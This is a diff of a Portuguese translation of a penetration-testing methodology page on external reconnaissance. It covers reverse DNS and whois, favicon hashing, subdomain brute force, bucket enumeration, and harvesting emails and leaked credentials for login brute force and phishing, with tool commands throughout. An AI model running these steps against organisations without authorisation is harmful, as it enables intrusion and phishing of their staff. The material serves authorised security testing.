**Dependendo da região da empresa, esses links podem ser úteis para reunir mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
|
||||
```bash
|
||||
|
@ -74,9 +74,9 @@ Pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ip
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você poderia executar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
|
||||
Além disso, você poderia executar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
|
||||
**Também, vale mencionar que você pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Neste ponto, conhecemos **todos os ativos dentro do escopo**, então, se permitido, você poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) em todos os hosts.\
|
||||
Também, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que encontrar, você deve** consultar este livro sobre como fazer pentest em vários serviços possíveis em execução.\
|
||||
**Além disso, vale mencionar que você também pode preparar algumas** listas de **nomes de usuário padrão e** senhas **e tentar** forçar a entrada em serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domínios
|
||||
|
||||
|
@ -84,11 +84,11 @@ Além disso, você poderia executar alguns [**scans de porta**](../pentesting-ne
|
|||
|
||||
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e essa informação não deve ser subestimada._
|
||||
|
||||
Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para a _Tesla Inc._ será _tesla.com_.
|
||||
Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
|
||||
|
||||
### **DNS Reverso**
|
||||
|
||||
Como você encontrou todos os intervalos de IP dos domínios, você pode tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS conhecido (1.1.1.1, 8.8.8.8)
|
||||
Como você encontrou todos os intervalos de IP dos domínios, você pode tentar realizar **pesquisas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS conhecido (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -100,16 +100,16 @@ Você também pode usar uma ferramenta online para essa informação: [http://pt
|
|||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Dentro de um **whois**, você pode encontrar muitas informações interessantes, como nome da organização, endereço, e-mails, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar mais ativos relacionados à empresa se você realizar pesquisas de **reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
|
||||
Dentro de um **whois**, você pode encontrar muitas informações interessantes como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se você realizar **buscas de reverse whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
|
||||
Você pode usar ferramentas online como:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Grátis**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Grátis**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Grátis**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Grátis** na web, não gratuito na API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Grátis** na web, não grátis na API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não grátis
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não grátis (apenas **100 pesquisas gratuitas**)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Não grátis
|
||||
|
||||
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requer uma chave de API whoxy).\
|
||||
Você também pode realizar alguma descoberta automática de reverse whois com [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
@ -118,10 +118,10 @@ Você também pode realizar alguma descoberta automática de reverse whois com [
|
|||
|
||||
### **Trackers**
|
||||
|
||||
Se encontrar o **mesmo ID do mesmo rastreador** em 2 páginas diferentes, você pode supor que **ambas as páginas** são **gerenciadas pela mesma equipe**.\
|
||||
Se encontrar o **mesmo ID do mesmo tracker** em 2 páginas diferentes, você pode supor que **ambas as páginas** são **gerenciadas pela mesma equipe**.\
|
||||
Por exemplo, se você ver o mesmo **ID do Google Analytics** ou o mesmo **ID do Adsense** em várias páginas.
|
||||
|
||||
Existem algumas páginas e ferramentas que permitem pesquisar por esses rastreadores e mais:
|
||||
Existem algumas páginas e ferramentas que permitem pesquisar por esses trackers e mais:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -131,7 +131,7 @@ Existem algumas páginas e ferramentas que permitem pesquisar por esses rastread
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash de ícone de favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Veja como usá-la:
|
||||
Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash de ícone de favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -144,7 +144,7 @@ Além disso, você também pode pesquisar tecnologias usando o hash de favicon,
|
|||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
Este é o processo para **calcular o hash do favicon** de um site:
|
||||
Aqui está como você pode **calcular o hash do favicon** de um site:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -159,9 +159,9 @@ return fhash
|
|||
```
|
||||
### **Direitos autorais / String única**
|
||||
|
||||
Pesquise dentro das páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"Copyright string"`
|
||||
Pesquise nas páginas da web **strings que podem ser compartilhadas em diferentes sites na mesma organização**. A **string de direitos autorais** poderia ser um bom exemplo. Em seguida, pesquise essa string no **Google**, em outros **navegadores** ou até mesmo no **Shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **Tempo do CRT**
|
||||
### **Tempo CRT**
|
||||
|
||||
É comum ter um trabalho cron como
|
||||
```bash
|
||||
|
@ -197,9 +197,9 @@ Você poderia acessar o **certificado TLS** da página web principal, obter o **
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Verifique por algum [domínio assumido](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
|
||||
Verifique se há algum [domínio para assumir o controle](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando um domínio** mas tenha **perdido a propriedade**. Apenas registre-o (se for barato o suficiente) e avise a empresa.
|
||||
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **verificação básica de vulnerabilidades** (usando Nessus ou OpenVAS) e uma [**verificação de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Obs.: Às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
|
@ -339,15 +339,15 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) tem uma API gratuita para pesquisar subdomínios e histórico de IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Este projeto oferece de **graça todos os subdomínios relacionados aos programas de recompensa por bugs**. Você pode acessar esses dados também usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Este projeto oferece gratuitamente todos os subdomínios relacionados aos programas de recompensa por bugs. Você também pode acessar esses dados usando [chaospy](https://github.com/dr-0x0x/chaospy) ou até mesmo acessar o escopo usado por este projeto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
Você pode encontrar uma comparação de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS Brute force**
|
||||
|
||||
Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
|
||||
Vamos tentar encontrar novos subdomínios forçando servidores DNS usando possíveis nomes de subdomínio.
|
||||
|
||||
Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
|
||||
Para esta ação, você precisará de algumas listas de palavras comuns de subdomínios como:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -355,7 +355,7 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar o [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
As ferramentas mais recomendadas para brute force de DNS são:
|
||||
|
||||
|
@ -369,7 +369,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um invólucro em torno do `massdns`, escrito em go, que permite enumerar subdomínios válidos usando força bruta ativa, bem como resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) é um wrapper em `go` para o `massdns`, que permite enumerar subdomínios válidos usando força bruta ativa, além de resolver subdomínios com tratamento de curinga e suporte fácil de entrada e saída.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -383,7 +383,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### Segunda Rodada de Força Bruta de DNS
|
||||
|
||||
Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações nos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
|
||||
Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações dos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dado os domínios e subdomínios, gera permutações.
|
||||
```bash
|
||||
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Para além de gerar permutações de subdomínios, também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
|
||||
* Pode obter a lista de palavras de permutações do altdns **aqui** (https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
* Pode obter a lista de permutações do altdns **wordlist** [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
@ -467,25 +467,25 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
```
|
||||
### **Força Bruta em Buckets**
|
||||
|
||||
Ao procurar por **subdomínios**, fique atento para ver se ele está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Além disso, como nesse ponto você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Além disso, neste ponto, você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitoramento**
|
||||
|
||||
Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificado** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.
|
||||
Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.
|
||||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Verifique possíveis [**apropriações de subdomínio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
Se encontrar algum **subdomínio com um IP diferente** dos que já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
|
||||
_Obs: às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
|
||||
|
||||
## IPs
|
||||
|
||||
Nas etapas iniciais, você pode ter **encontrado alguns intervalos de IP, domínios e subdomínios**.\
|
||||
É hora de **recolher todos os IPs desses intervalos** e dos **domínios/subdomínios (consultas DNS).**
|
||||
Nas etapas iniciais, você pode ter **encontrado algumas faixas de IP, domínios e subdomínios**.\
|
||||
É hora de **recolher todos os IPs dessas faixas** e dos **domínios/subdomínios (consultas DNS).**
|
||||
|
||||
Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar **IPs anteriores usados por domínios e subdomínios**. Esses IPs ainda podem ser de propriedade do cliente (e podem permitir que você encontre [**burlas ao CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
|
@ -495,15 +495,15 @@ Você também pode verificar os domínios que apontam para um endereço IP espec
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
**Varredure todas as portas dos IPs que não pertencem a CDNs** (pois provavelmente você não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
|
||||
**Varredure todos os IPs que não pertencem a CDNs** (pois provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
|
||||
|
||||
**Encontre um** [**guia**](../pentesting-network/) **sobre como escanear hosts.**
|
||||
|
||||
## Caça a servidores web
|
||||
|
||||
> Encontramos todas as empresas e seus ativos e conhecemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
|
||||
> Encontramos todas as empresas e seus ativos e conhecemos as faixas de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
|
||||
|
||||
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se você não fez isso, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
|
||||
Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e domínios descobertos**, então você pode ter **encontrado todos os possíveis servidores web**. No entanto, se não tivermos, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
|
||||
|
||||
Por favor, note que isso será **orientado para a descoberta de aplicativos da web**, então você deve **realizar a vulnerabilidade** e a **varredura de portas** também (**se permitido** pelo escopo).
|
||||
|
||||
|
@ -519,19 +519,19 @@ Agora que você descobriu **todos os servidores web** presentes no escopo (entre
|
|||
|
||||
Para realizar a ideia proposta, você pode usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e dizer **o que provavelmente contém vulnerabilidades** e o que não contém.
|
||||
Além disso, você poderia então usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para percorrer todas as **capturas de tela** e informar **o que provavelmente contém vulnerabilidades** e o que não.
|
||||
|
||||
## Ativos de Nuvem Pública
|
||||
|
||||
Para encontrar possíveis ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identifiquem essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"cripto", "carteira", "dao", "<nome_do_domínio>", <"nomes_de_subdomínio">`.
|
||||
|
||||
Você também precisará de listas de palavras **comuns usadas em buckets**:
|
||||
Você também precisará de listas de palavras comuns usadas em buckets:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Em seguida, com essas palavras, você deve gerar **permutações** (verifique o [**Segundo Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
|
||||
Em seguida, com essas palavras, você deve gerar **permutações** (verifique o [**Segundo Round de Brute-Force DNS**](./#second-dns-bruteforce-round) para mais informações).
|
||||
|
||||
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
|
@ -552,7 +552,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem
|
|||
|
||||
### **Procurando por vulnerabilidades**
|
||||
|
||||
Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs lhe darão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
|
||||
Os e-mails serão úteis mais tarde para **bruteforce em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do e-mail, o que é útil para a campanha de phishing.
|
||||
|
||||
## Vazamentos de Credenciais
|
||||
|
||||
|
@ -571,14 +571,14 @@ Vazamentos de credenciais estão relacionados a hacks de empresas onde **informa
|
|||
|
||||
### Vazamentos do Github
|
||||
|
||||
Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\
|
||||
Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar o [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.
|
||||
Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa do github.\
|
||||
Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.
|
||||
|
||||
**Leakos** também pode ser usado para executar **gitleaks** em todos os **textos** fornecidos **URLs passadas** para ele, pois às vezes **páginas da web também contêm segredos**.
|
||||
|
||||
#### Dorks do Github
|
||||
|
||||
Verifique também esta **página** para potenciais **dorks do github** que você também poderia procurar na organização que está atacando:
|
||||
Verifique também esta **página** para possíveis **dorks do github** que você também poderia pesquisar na organização que está atacando:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -591,7 +591,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
|
|||
|
||||
### Dorks do Google
|
||||
|
||||
Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém várias **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode pegar suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
Os dorks antigos, mas valiosos do Google, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém várias **milhares** de consultas possíveis que você não pode executar manualmente. Portanto, você pode escolher suas 10 favoritas ou usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
|
||||
|
||||
_Obs: As ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google bloqueará você muito em breve._
|
||||
|
||||
|
@ -612,11 +612,11 @@ Se você descobrir que a empresa tem **código aberto**, você pode **analisá-l
|
|||
Também existem serviços gratuitos que permitem que você **escaneie repositórios públicos**, como:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Metodologia de Teste de Web Pentesting**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicação web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
|
||||
A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicativos web**, e você pode [**encontrar estas informações aqui**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações iniciais sobre a web.**
|
||||
Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações web iniciais.**
|
||||
|
||||
## Recapitulação
|
||||
|
||||
|
@ -632,7 +632,7 @@ Então você já:
|
|||
6. Encontrou todos os **servidores web** e tirou um **screenshot** deles (algo estranho que valha uma investigação mais aprofundada?)
|
||||
7. Encontrou todos os **ativos potenciais de nuvem pública** pertencentes à empresa.
|
||||
8. **E-mails**, **vazamentos de credenciais** e **vazamentos de segredos** que poderiam lhe dar uma **grande vitória muito facilmente**.
|
||||
9. **Testou todas as webs que encontrou**
|
||||
9. **Pentestear todos os sites que você encontrou**
|
||||
|
||||
## **Ferramentas Automáticas de Reconhecimento Completo**
|
||||
|
||||
|
@ -647,7 +647,7 @@ Existem várias ferramentas por aí que executarão parte das ações propostas
|
|||
|
||||
* Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -659,10 +659,10 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
